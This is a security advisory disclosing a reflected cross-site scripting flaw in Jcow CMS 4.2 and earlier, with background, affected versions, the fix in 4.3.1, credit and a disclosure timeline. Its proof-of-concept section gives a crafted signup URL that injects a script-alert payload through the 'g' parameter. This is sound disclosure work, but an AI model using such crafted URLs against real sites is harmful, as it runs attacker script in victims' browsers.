Jcow CMS 4.2 <= | Cross Site Scripting

By YGN Ethical Hacker Group - 
1. OVERVIEW

Jcow CMS 4.2 and lower versions are vulnerable to Cross Site Scripting.


2. BACKGROUND

Jcow is a flexible Social Networking software written in PHP. It can help you to build a social network for your interests and passions, a member community for your existing website and a social networking site like facebook/myspace/twitter.


3. VULNERABILITY DESCRIPTION

The parameter "g" is not properly sanitized upon submission to /index.php, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 


4. VERSIONS AFFECTED

Jcow CMS 4.2 and lower


5. PROOF-OF-CONCEPT/EXPLOIT

File	: /includes/libs/member.module.php:
Line 605: 

http://[target]/index.php?p=member/signup&email=&username=&password=&fullname=&birthyear=1991&birthmonth=01&birthday=01&gender=0&location=Myanmar++&about_me=&recaptcha_challenge_field=03AHJ_Vuvk8U6zCeSdrjB0GPDuwaRP-tPJ2G7u3Nm5LpmVSGmZs_CIP9I_C0PYZ1zYY6F42zpzGKQkxSiUhhyu-QhhwZA6oTlLNntgAgmRkDjfZpu3j4-bMeQNpOVh1afb4fZ4qwaIxHpP1wL8-8-LgkEBE5auAFmF_w&recaptcha_response_field=&g=%22%3E%3Cscript%3Ealert%28/XSS/%29%3C/script%3E&onpost=1&agree_rules=1


6. SOLUTION

Upgrade to 4.3.1 or higher. 
The commercial version 5.x.x is not vulnerable. 


7. VENDOR

Jcow CMS Development Team
http://www.jcow.net


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2010-06-03: notified vendor
2010-06-03: vendor replied fix would be available within 48hrs
2011-08-24: vendor released fixed version, jcow.4.3.1.ce
2011-08-26: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[jcow_4.2]_cross_site_scripting
Jcow CMS: http://sourceforge.net/projects/jcow/files/jcow4/jcow.4.2.1.zip/download


#yehg [2011-08-26]

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